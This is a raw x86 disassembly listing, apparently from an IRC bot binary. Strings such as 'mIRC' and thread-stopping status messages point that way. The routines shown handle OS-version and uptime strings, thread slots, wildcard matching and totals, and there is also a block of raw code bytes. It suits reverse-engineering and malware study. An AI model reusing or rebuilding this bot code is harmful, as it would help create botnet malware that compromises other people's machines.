		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 2680D12h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431250
		push	eax
		push	esi
		call	near ptr 26B0000h
		nop
		movsx	eax, byte_431250
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx


loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx


loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx


loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65


loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F


loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 2680D12h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26C0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431254
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA


loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4


loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D128
		mov	dword ptr [ebp-94h], 94h
		call	near ptr 26C055Ah
		nop
		call	near ptr 2680D12h
		nop
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_43127C


loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_431278
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_431274
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_431270
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_43126C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_431268
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431264
		jz	short loc_40AFA0


loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431260


loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431258
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4


loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE


loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 2680D12h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431288
		jnz	short loc_40B022
		mov	eax, offset dword_43D128


loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_431280
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------


loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431288
		jnz	short loc_40B04D
		mov	eax, offset dword_43D128


loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D58C


loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------


loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D604
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------


loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D590[eax*4]
		pop	ecx


loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43DCB0


loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CACB0
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------


loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43DCB0[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43DEB0[esi], eax
		and	dword_43DEB4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43DEB8[esi], 0
		mov	dword_43DEBC[esi], eax
		and	byte_43DEC8[esi], 0
		pop	esi


loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2C4E4FE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 0B0FE8147h, 7C004CACh,	0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43DEC4[esi]
		lea	edi, dword_43DEC4[esi]
		nop
		call	near ptr 2680DC8h
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp


loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43DEB8[esi]
		mov	dword_43DEB0[esi], ebx
		mov	dword_43DEB4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx


loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43DEBC[esi]
		mov	byte ptr dword_43DCB0[esi], bl
		mov	byte_43DEC8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB00C
		lea	esi, dword_43DEC0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB00C
		mov	[esi], ebx
		pop	edi


loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43DCB0


loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx


loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CACB0
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43DEB4


loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327


loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]


loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CAEB4
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43DEB0


loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax


loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43DEB0


loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------


loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43DEC4[eax], ecx
		mov	dword_43DEB0[eax], ecx
		mov	dword_43DEB4[eax], ecx
		mov	dword_43DEB8[eax], ecx
		mov	dword_43DEBC[eax], ecx
		mov	dword_43DEC0[eax], ecx
		mov	byte ptr dword_43DCB0[eax], cl
		mov	byte_43DEC8[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------


loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------


loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------


loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax


loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi


loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562


loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------


loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi


loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------


loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1


loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax


loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------


loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------


loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F


loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------


loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------


loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3


loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1


loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]


loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4317A4
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431408, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431410


loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431798
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi


loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
